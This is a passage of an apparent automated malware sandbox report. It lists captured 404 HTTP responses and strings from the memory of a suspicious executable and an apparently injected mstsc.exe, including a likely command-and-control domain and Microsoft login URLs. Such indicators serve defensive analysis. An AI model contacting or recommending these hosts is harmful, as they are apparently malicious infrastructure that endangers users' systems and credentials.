69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 11 Sep 2024 09:20:32 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Wed, 11 Sep 2024 09:20:37 GMTvary: User-AgentData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Wed, 11 Sep 2024 09:20:40 GMTvary: User-AgentData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Wed, 11 Sep 2024 09:20:45 GMTvary: User-AgentData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Wed, 11 Sep 2024 09:20:59 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Wed, 11 Sep 2024 09:21:01 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Wed, 11 Sep 2024 09:21:05 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Wed, 11 Sep 2024 09:21:07 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Sep 2024 09:21:10 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 61 34 61 72 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /a4ar/ was not found on this server.</p></body></html>

Source: NZuQxWwOkTbZ.exe, 00000005.00000002.4147103044.0000000004D2F000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.kfowks.site
Source: NZuQxWwOkTbZ.exe, 00000005.00000002.4147103044.0000000004D2F000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.kfowks.site/c0yj/
Source: mstsc.exe, 00000003.00000003.1970050854.000000000771D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: mstsc.exe, 00000003.00000003.1970050854.000000000771D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: mstsc.exe, 00000003.00000003.1970050854.000000000771D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: mstsc.exe, 00000003.00000003.1970050854.000000000771D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: mstsc.exe, 00000003.00000003.1970050854.000000000771D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: mstsc.exe, 00000003.00000003.1970050854.000000000771D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: mstsc.exe, 00000003.00000003.1970050854.000000000771D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: mstsc.exe, 00000003.00000002.4145420454.000000000557C000.00000004.10000000.00040000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000005.00000002.4144761635.00000000032CC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Open
Source: mstsc.exe, 00000003.00000002.4143406843.000000000284B000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000003.00000002.4143406843.0000000002842000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: mstsc.exe, 00000003.00000002.4143406843.0000000002852000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: mstsc.exe, 00000003.00000002.4143406843.0000000002842000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
